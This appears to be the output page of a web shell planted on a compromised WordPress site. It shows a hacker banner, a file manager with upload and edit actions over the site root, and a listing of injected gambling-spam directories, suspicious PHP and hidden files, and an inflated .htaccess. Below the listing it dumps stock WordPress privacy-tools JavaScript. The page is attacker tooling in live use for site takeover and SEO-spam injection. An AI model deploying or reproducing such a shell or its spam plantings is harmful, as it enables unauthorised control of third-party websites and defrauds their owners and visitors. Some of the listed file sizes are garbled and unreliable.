ÿØÿÛ C
iamH4CKEERRRRRRRRRRRS
I am a hacker in the dark of a very cold night
path :/home/www/kinleysgarage.co.uk
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .1745560516 | 80 KB | April 25 2025 05:55:16 | 0644 |
|
| .1745565040 | 80 KB | April 25 2025 07:10:40 | 0644 |
|
| .1745568656 | 80 KB | April 25 2025 08:10:56 | 0644 |
|
| .1745572277 | 80 KB | April 25 2025 09:11:17 | 0644 |
|
| .1745575899 | 80 KB | April 25 2025 10:11:39 | 0644 |
|
| .1745579514 | 80 KB | April 25 2025 11:11:54 | 0644 |
|
| .1745583133 | 80 KB | April 25 2025 12:12:13 | 0644 |
|
| .1745586759 | 80 KB | April 25 2025 13:12:39 | 0644 |
|
| .1745590387 | 80 KB | April 25 2025 14:13:07 | 0644 |
|
| .1745594004 | 80 KB | April 25 2025 15:13:24 | 0644 |
|
| .1745595958 | 80 KB | April 25 2025 15:45:58 | 0644 |
|
| .1745596080 | 80 KB | April 25 2025 15:48:00 | 0644 |
|
| .1745596322 | 80 KB | April 25 2025 15:52:02 | 0644 |
|
| .1745596415 | 80 KB | April 25 2025 15:53:35 | 0644 |
|
| .1745597625 | 80 KB | April 25 2025 16:13:45 | 0644 |
|
| .1745624775 | 80 KB | April 25 2025 23:46:15 | 0644 |
|
| .1745626192 | 80 KB | April 26 2025 00:09:52 | 0644 |
|
| .1745626576 | 80 KB | April 26 2025 00:16:16 | 0644 |
|
| .1745630191 | 80 KB | April 26 2025 01:16:31 | 0644 |
|
| .1745633808 | 80 KB | April 26 2025 02:16:48 | 0644 |
|
| .1745637431 | 80 KB | April 26 2025 03:17:11 | 0644 |
|
| .1745639200 | 80 KB | April 26 2025 03:46:40 | 0644 |
|
| .1745639764 | 80 KB | April 26 2025 03:56:04 | 0644 |
|
| .1745640126 | 80 KB | April 26 2025 04:02:06 | 0644 |
|
| .1745641940 | 80 KB | April 26 2025 04:32:20 | 0644 |
|
| .1745646463 | 80 KB | April 26 2025 05:47:43 | 0644 |
|
| .1745650080 | 80 KB | April 26 2025 06:48:00 | 0644 |
|
| .1745653695 | 80 KB | April 26 2025 07:48:15 | 0644 |
|
| .1745657308 | 80 KB | April 26 2025 08:48:28 | 0644 |
|
| .1745660924 | 80 KB | April 26 2025 09:48:44 | 0644 |
|
| .1745664550 | 80 KB | April 26 2025 10:49:10 | 0644 |
|
| .1745668165 | 80 KB | April 26 2025 11:49:25 | 0644 |
|
| .1745671661 | 80 KB | April 26 2025 12:47:41 | 0644 |
|
| .1745671780 | 80 KB | April 26 2025 12:49:40 | 0644 |
|
| .1745673851 | 80 KB | April 26 2025 13:24:11 | 0644 |
|
| .1745674527 | 80 KB | April 26 2025 13:35:27 | 0644 |
|
| .1745675395 | 80 KB | April 26 2025 13:49:55 | 0644 |
|
| .1745679014 | 80 KB | April 26 2025 14:50:14 | 0644 |
|
| .1745682470 | 80 KB | April 26 2025 15:47:50 | 0644 |
|
| .1745683532 | 80 KB | April 26 2025 16:05:32 | 0644 |
|
| .1745688046 | 80 KB | April 26 2025 17:20:46 | 0644 |
|
| .1745691667 | 80 KB | April 26 2025 18:21:07 | 0644 |
|
| .1745696177 | 80 KB | April 26 2025 19:36:17 | 0644 |
|
| .1745699110 | 80 KB | April 26 2025 20:25:10 | 0644 |
|
| .1745699666 | 80 KB | April 26 2025 20:34:26 | 0644 |
|
| .1745699791 | 80 KB | April 26 2025 20:36:31 | 0644 |
|
| .1745703405 | 80 KB | April 26 2025 21:36:45 | 0644 |
|
| .1745707022 | 80 KB | April 26 2025 22:37:02 | 0644 |
|
| .1745711537 | 80 KB | April 26 2025 23:52:17 | 0644 |
|
| .1745715157 | 80 KB | April 27 2025 00:52:37 | 0644 |
|
| .1745718772 | 80 KB | April 27 2025 01:52:52 | 0644 |
|
| .1745722404 | 80 KB | April 27 2025 02:53:24 | 0644 |
|
| .1745725749 | 80 KB | April 27 2025 03:49:09 | 0644 |
|
| .1745726926 | 80 KB | April 27 2025 04:08:46 | 0644 |
|
| .1745730546 | 80 KB | April 27 2025 05:09:06 | 0644 |
|
| .1745734162 | 80 KB | April 27 2025 06:09:22 | 0644 |
|
| .1745738677 | 80 KB | April 27 2025 07:24:37 | 0644 |
|
| .1745742290 | 80 KB | April 27 2025 08:24:50 | 0644 |
|
| .1745746801 | 80 KB | April 27 2025 09:40:01 | 0644 |
|
| .1745751312 | 80 KB | April 27 2025 10:55:12 | 0644 |
|
| .1745754927 | 80 KB | April 27 2025 11:55:27 | 0644 |
|
| .1745758547 | 80 KB | April 27 2025 12:55:47 | 0644 |
|
| .1745762169 | 80 KB | April 27 2025 13:56:09 | 0644 |
|
| .1745765786 | 80 KB | April 27 2025 14:56:26 | 0644 |
|
| .1745769019 | 80 KB | April 27 2025 15:50:19 | 0644 |
|
| .1745769400 | 80 KB | April 27 2025 15:56:40 | 0644 |
|
| .1745773015 | 80 KB | April 27 2025 16:56:55 | 0644 |
|
| .1745775178 | 80 KB | April 27 2025 17:32:58 | 0644 |
|
| .1745775916 | 80 KB | April 27 2025 17:45:16 | 0644 |
|
| .1745776504 | 80 KB | April 27 2025 17:55:04 | 0644 |
|
| .1745776507 | 80 KB | April 27 2025 17:55:07 | 0644 |
|
| .1745777527 | 80 KB | April 27 2025 18:12:07 | 0644 |
|
| .1745782043 | 80 KB | April 27 2025 19:27:23 | 0644 |
|
| .1745786548 | 80 KB | April 27 2025 20:42:28 | 0644 |
|
| .1745791056 | 80 KB | April 27 2025 21:57:36 | 0644 |
|
| .1745794675 | 80 KB | April 27 2025 22:57:55 | 0644 |
|
| .1745798288 | 80 KB | April 27 2025 23:58:08 | 0644 |
|
| .1745801911 | 80 KB | April 28 2025 00:58:31 | 0644 |
|
| .1745805525 | 80 KB | April 28 2025 01:58:45 | 0644 |
|
| .1745809142 | 80 KB | April 28 2025 02:59:02 | 0644 |
|
| .1745812276 | 80 KB | April 28 2025 03:51:16 | 0644 |
|
| .1745812756 | 80 KB | April 28 2025 03:59:16 | 0644 |
|
| .1745816371 | 80 KB | April 28 2025 04:59:31 | 0644 |
|
| .1745820883 | 80 KB | April 28 2025 06:14:43 | 0644 |
|
| .1745824505 | 80 KB | April 28 2025 07:15:05 | 0644 |
|
| .1745829025 | 80 KB | April 28 2025 08:30:25 | 0644 |
|
| .1745832646 | 80 KB | April 28 2025 09:30:46 | 0644 |
|
| .1745836274 | 80 KB | April 28 2025 10:31:14 | 0644 |
|
| .1745839900 | 80 KB | April 28 2025 11:31:40 | 0644 |
|
| .1745843526 | 80 KB | April 28 2025 12:32:06 | 0644 |
|
| .1745847147 | 80 KB | April 28 2025 13:32:27 | 0644 |
|
| .1745850770 | 80 KB | April 28 2025 14:32:50 | 0644 |
|
| .1745854387 | 80 KB | April 28 2025 15:33:07 | 0644 |
|
| .1745858007 | 80 KB | April 28 2025 16:33:27 | 0644 |
|
| .1745861631 | 80 KB | April 28 2025 17:33:51 | 0644 |
|
| .1745865253 | 80 KB | April 28 2025 18:34:13 | 0644 |
|
| .1745868873 | 80 KB | April 28 2025 19:34:33 | 0644 |
|
| .1745872488 | 80 KB | April 28 2025 20:34:48 | 0644 |
|
| .1745875365 | 80 KB | April 28 2025 21:22:45 | 0644 |
|
| .1745876104 | 80 KB | April 28 2025 21:35:04 | 0644 |
|
| .1745876898 | 80 KB | April 28 2025 21:48:18 | 0644 |
|
| .1745879727 | 80 KB | April 28 2025 22:35:27 | 0644 |
|
| .1745883347 | 80 KB | April 28 2025 23:35:47 | 0644 |
|
| .1745886978 | 80 KB | April 29 2025 00:36:18 | 0644 |
|
| .1745890609 | 80 KB | April 29 2025 01:36:49 | 0644 |
|
| .1745894226 | 80 KB | April 29 2025 02:37:06 | 0644 |
|
| .1745898747 | 80 KB | April 29 2025 03:52:27 | 0644 |
|
| .1745901445 | 80 KB | April 29 2025 04:37:25 | 0644 |
|
| .1745902373 | 80 KB | April 29 2025 04:52:53 | 0644 |
|
| .1745905999 | 80 KB | April 29 2025 05:53:19 | 0644 |
|
| .1745909628 | 80 KB | April 29 2025 06:53:48 | 0644 |
|
| .1745913253 | 80 KB | April 29 2025 07:54:13 | 0644 |
|
| .1745917764 | 80 KB | April 29 2025 09:09:24 | 0644 |
|
| .1745921386 | 80 KB | April 29 2025 10:09:46 | 0644 |
|
| .1745925905 | 80 KB | April 29 2025 11:25:05 | 0644 |
|
| .1745929519 | 80 KB | April 29 2025 12:25:19 | 0644 |
|
| .1745931243 | 80 KB | April 29 2025 12:54:03 | 0644 |
|
| .1745934028 | 80 KB | April 29 2025 13:40:28 | 0644 |
|
| .1745937648 | 80 KB | April 29 2025 14:40:48 | 0644 |
|
| .1745942159 | 80 KB | April 29 2025 15:55:59 | 0644 |
|
| .1745945775 | 80 KB | April 29 2025 16:56:15 | 0644 |
|
| .1745950287 | 80 KB | April 29 2025 18:11:27 | 0644 |
|
| .1745952613 | 80 KB | April 29 2025 18:50:13 | 0644 |
|
| .1745954804 | 80 KB | April 29 2025 19:26:44 | 0644 |
|
| .1745959314 | 80 KB | April 29 2025 20:41:54 | 0644 |
|
| .1745962932 | 80 KB | April 29 2025 21:42:12 | 0644 |
|
| .1745966545 | 80 KB | April 29 2025 22:42:25 | 0644 |
|
| .htaccess | 243 KB | April 11 2026 06:59:32 | 0644 |
|
| .htacl | 92 KB | March 29 2026 20:14:08 | 0644 |
|
| .lock | 756 KB | April 24 2025 17:50:49 | 0644 |
|
| .multi | 0 KB | April 25 2025 15:47:56 | 0644 |
|
| .tmb | - | April 08 2025 21:25:54 | 0777 |
|
| Agen-Mix-Parlay | - | April 29 2025 13:00:48 | 0755 |
|
| Agen-Sbobet | - | May 01 2025 15:08:14 | 0755 |
|
| Agen-Slot-Gacor | - | April 25 2025 15:53:06 | 0755 |
|
| Alternatif-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Judi-Bola | - | May 09 2025 02:01:51 | 0755 |
|
| Alternatif-Mix-Parlay | - | April 27 2025 03:58:11 | 0755 |
|
| Alternatif-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Alternatif-Slot | - | April 28 2025 03:57:42 | 0755 |
|
| Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Daftar-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Judi-Bola | - | April 26 2025 03:54:12 | 0755 |
|
| Judi-Casino | - | April 25 2025 03:57:40 | 0755 |
|
| Link-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Judi-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Link-Slot | - | April 26 2025 15:54:54 | 0755 |
|
| Live-Casino | - | April 18 2025 14:04:53 | 0755 |
|
| Mix-Parlay | - | April 26 2025 03:54:15 | 0755 |
|
| Mix-Parlay-Online | - | May 08 2025 19:04:47 | 0755 |
|
| Mix-Parlay-Resmi | - | May 09 2025 02:03:02 | 0755 |
|
| Piala-Dunia-2026 | - | April 18 2025 14:04:53 | 0755 |
|
| RTP-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet | - | April 25 2025 15:53:09 | 0755 |
|
| Sbobet-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Sbobet | - | April 24 2025 07:51:25 | 0755 |
|
| Situs-Sbobet88 | - | April 18 2025 14:04:53 | 0755 |
|
| Situs-Slot | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Gacor-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Maxwin | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Online | - | April 18 2025 14:04:53 | 0755 |
|
| Slot-Resmi | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Judi-Bola | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Mix-Parlay | - | April 18 2025 14:04:53 | 0755 |
|
| Taruhan-Sbobet | - | April 18 2025 14:04:53 | 0755 |
|
| core | 11759616 KB | April 29 2025 12:54:31 | 0600 |
|
| license.txt | 19915 KB | December 31 2023 18:02:20 | 0644 |
|
| readme.html | 7409 KB | June 18 2024 05:59:14 | 0644 |
|
| robots.txt | 93 KB | April 17 2025 06:39:58 | 0644 |
|
| sitemap.xml | 7885 KB | April 17 2025 06:39:58 | 0644 |
|
| w1px.php | 26454 KB | March 16 2026 11:38:18 | 0644 |
|
| wp-activate.php | 7387 KB | February 13 2024 08:19:10 | 0644 |
|
| wp-admin | - | April 23 2025 17:29:53 | 0755 |
|
| wp-blog-header.php | 351 KB | May 01 2025 14:59:24 | 0644 |
|
| wp-comments-post.php | 2323 KB | June 14 2023 08:11:16 | 0644 |
|
| wp-config-sample.php | 3336 KB | October 15 2024 09:24:18 | 0644 |
|
| wp-config.php | 3177 KB | May 07 2025 13:18:17 | 0644 |
|
| wp-content | - | April 14 2025 13:14:49 | 0755 |
|
| wp-cron.php | 5617 KB | April 29 2025 12:54:28 | 0644 |
|
| wp-includes | - | April 07 2026 03:57:15 | 0755 |
|
| wp-links-opml.php | 2502 KB | November 26 2022 15:01:18 | 0644 |
|
| wp-load.php | 14301 KB | May 08 2025 13:19:24 | 0644 |
|
| wp-login-css.php | 265113 KB | April 23 2025 15:28:26 | 0644 |
|
| wp-login.php | 51611 KB | September 30 2024 13:12:14 | 0644 |
|
| wp-mail.php | 8543 KB | September 18 2024 16:37:16 | 0644 |
|
| wp-settings.php | 29032 KB | May 07 2025 13:21:11 | 0644 |
|
| wp-signup.php | 34385 KB | June 19 2023 12:27:28 | 0644 |
|
| wp-trackback.php | 5102 KB | October 18 2024 09:56:18 | 0644 |
|
| xmlrpc.php | 3246 KB | March 02 2024 07:49:06 | 0644 |
|
/**
* Interactions used by the User Privacy tools in WordPress.
*
* @output wp-admin/js/privacy-tools.js
*/
// Privacy request action handling.
jQuery( function( $ ) {
var __ = wp.i18n.__,
copiedNoticeTimeout;
function setActionState( $action, state ) {
$action.children().addClass( 'hidden' );
$action.children( '.' + state ).removeClass( 'hidden' );
}
function clearResultsAfterRow( $requestRow ) {
$requestRow.removeClass( 'has-request-results' );
if ( $requestRow.next().hasClass( 'request-results' ) ) {
$requestRow.next().remove();
}
}
function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
var itemList = '',
resultRowClasses = 'request-results';
clearResultsAfterRow( $requestRow );
if ( additionalMessages.length ) {
$.each( additionalMessages, function( index, value ) {
itemList = itemList + '' + value + '';
});
itemList = '';
}
$requestRow.addClass( 'has-request-results' );
if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
resultRowClasses = resultRowClasses + ' status-request-confirmed';
}
if ( $requestRow.hasClass( 'status-request-failed' ) ) {
resultRowClasses = resultRowClasses + ' status-request-failed';
}
$requestRow.after( function() {
return '' +
'' +
' ' + summaryMessage + ' ' +
itemList +
' ' +
'' +
' |
';
});
}
$( '.export-personal-data-handle' ).on( 'click', function( event ) {
var $this = $( this ),
$action = $this.parents( '.export-personal-data' ),
$requestRow = $this.parents( 'tr' ),
$progress = $requestRow.find( '.export-progress' ),
$rowActions = $this.parents( '.row-actions' ),
requestID = $action.data( 'request-id' ),
nonce = $action.data( 'nonce' ),
exportersCount = $action.data( 'exporters-count' ),
sendAsEmail = $action.data( 'send-as-email' ) ? true : false;
event.preventDefault();
event.stopPropagation();
$rowActions.addClass( 'processing' );
$action.trigger( 'blur' );
clearResultsAfterRow( $requestRow );
setExportProgress( 0 );
function onExportDoneSuccess( zipUrl ) {
var summaryMessage = __( 'This user’s personal data export link was sent.' );
if ( 'undefined' !== typeof zipUrl ) {
summaryMessage = __( 'This user’s personal data export file was downloaded.' );
}
setActionState( $action, 'export-personal-data-success' );
appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );
if ( 'undefined' !== typeof zipUrl ) {
window.location = zipUrl;
} else if ( ! sendAsEmail ) {
onExportFailure( __( 'No personal data export file was generated.' ) );
}
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function onExportFailure( errorMessage ) {
var summaryMessage = __( 'An error occurred while attempting to export personal data.' );
setActionState( $action, 'export-personal-data-failed' );
if ( errorMessage ) {
appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
}
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function setExportProgress( exporterIndex ) {
var progress = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
progressString = Math.round( progress * 100 ).toString() + '%';
$progress.html( progressString );
}
function doNextExport( exporterIndex, pageIndex ) {
$.ajax(
{
url: window.ajaxurl,
data: {
action: 'wp-privacy-export-personal-data',
exporter: exporterIndex,
id: requestID,
page: pageIndex,
security: nonce,
sendAsEmail: sendAsEmail
},
method: 'post'
}
).done( function( response ) {
var responseData = response.data;
if ( ! response.success ) {
// e.g. invalid request ID.
setTimeout( function() { onExportFailure( response.data ); }, 500 );
return;
}
if ( ! responseData.done ) {
setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
} else {
setExportProgress( exporterIndex );
if ( exporterIndex < exportersCount ) {
setTimeout( doNextExport( exporterIndex + 1, 1 ) );
} else {
setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
}
}
}).fail( function( jqxhr, textStatus, error ) {
// e.g. Nonce failure.
setTimeout( function() { onExportFailure( error ); }, 500 );
});
}
// And now, let's begin.
setActionState( $action, 'export-personal-data-processing' );
doNextExport( 1, 1 );
});
$( '.remove-personal-data-handle' ).on( 'click', function( event ) {
var $this = $( this ),
$action = $this.parents( '.remove-personal-data' ),
$requestRow = $this.parents( 'tr' ),
$progress = $requestRow.find( '.erasure-progress' ),
$rowActions = $this.parents( '.row-actions' ),
requestID = $action.data( 'request-id' ),
nonce = $action.data( 'nonce' ),
erasersCount = $action.data( 'erasers-count' ),
hasRemoved = false,
hasRetained = false,
messages = [];
event.preventDefault();
event.stopPropagation();
$rowActions.addClass( 'processing' );
$action.trigger( 'blur' );
clearResultsAfterRow( $requestRow );
setErasureProgress( 0 );
function onErasureDoneSuccess() {
var summaryMessage = __( 'No personal data was found for this user.' ),
classes = 'notice-success';
setActionState( $action, 'remove-personal-data-success' );
if ( false === hasRemoved ) {
if ( false === hasRetained ) {
summaryMessage = __( 'No personal data was found for this user.' );
} else {
summaryMessage = __( 'Personal data was found for this user but was not erased.' );
classes = 'notice-warning';
}
} else {
if ( false === hasRetained ) {
summaryMessage = __( 'All of the personal data found for this user was erased.' );
} else {
summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
classes = 'notice-warning';
}
}
appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function onErasureFailure() {
var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );
setActionState( $action, 'remove-personal-data-failed' );
appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );
setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
}
function setErasureProgress( eraserIndex ) {
var progress = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
progressString = Math.round( progress * 100 ).toString() + '%';
$progress.html( progressString );
}
function doNextErasure( eraserIndex, pageIndex ) {
$.ajax({
url: window.ajaxurl,
data: {
action: 'wp-privacy-erase-personal-data',
eraser: eraserIndex,
id: requestID,
page: pageIndex,
security: nonce
},
method: 'post'
}).done( function( response ) {
var responseData = response.data;
if ( ! response.success ) {
setTimeout( function() { onErasureFailure(); }, 500 );
return;
}
if ( responseData.items_removed ) {
hasRemoved = hasRemoved || responseData.items_removed;
}
if ( responseData.items_retained ) {
hasRetained = hasRetained || responseData.items_retained;
}
if ( responseData.messages ) {
messages = messages.concat( responseData.messages );
}
if ( ! responseData.done ) {
setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
} else {
setErasureProgress( eraserIndex );
if ( eraserIndex < erasersCount ) {
setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
} else {
setTimeout( function() { onErasureDoneSuccess(); }, 500 );
}
}
}).fail( function() {
setTimeout( function() { onErasureFailure(); }, 500 );
});
}
// And now, let's begin.
setActionState( $action, 'remove-personal-data-processing' );
doNextErasure( 1, 1 );
});
// Privacy Policy page, copy action.
$( document ).on( 'click', function( event ) {
var $parent,
range,
$target = $( event.target ),
copiedNotice = $target.siblings( '.success' );
clearTimeout( copiedNoticeTimeout );
if ( $target.is( 'button.privacy-text-copy' ) ) {
$parent = $target.closest( '.privacy-settings-accordion-panel' );
if ( $parent.length ) {
try {
var documentPosition = document.documentElement.scrollTop,
bodyPosition = document.body.scrollTop;
// Setup copy.
window.getSelection().removeAllRanges();
// Hide tutorial content to remove from copied content.
range = document.createRange();
$parent.addClass( 'hide-privacy-policy-tutorial' );
// Copy action.
range.selectNodeContents( $parent[0] );
window.getSelection().addRange( range );
document.execCommand( 'copy' );
// Reset section.
$parent.removeClass( 'hide-privacy-policy-tutorial' );
window.getSelection().removeAllRanges();
// Return scroll position - see #49540.
if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
document.documentElement.scrollTop = documentPosition;
} else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
document.body.scrollTop = bodyPosition;
}
// Display and speak notice to indicate action complete.
copiedNotice.addClass( 'visible' );
wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );
// Delay notice dismissal.
copiedNoticeTimeout = setTimeout( function() {
copiedNotice.removeClass( 'visible' );
}, 3000 );
} catch ( er ) {}
}
}
});
// Label handling to focus the create page button on Privacy settings page.
$( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
e.preventDefault();
$( 'input#create-page' ).trigger( 'focus' );
} );
// Accordion handling in various new Privacy settings pages.
$( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );
if ( isExpanded ) {
$( this ).attr( 'aria-expanded', 'false' );
$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
} else {
$( this ).attr( 'aria-expanded', 'true' );
$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
}
} );
});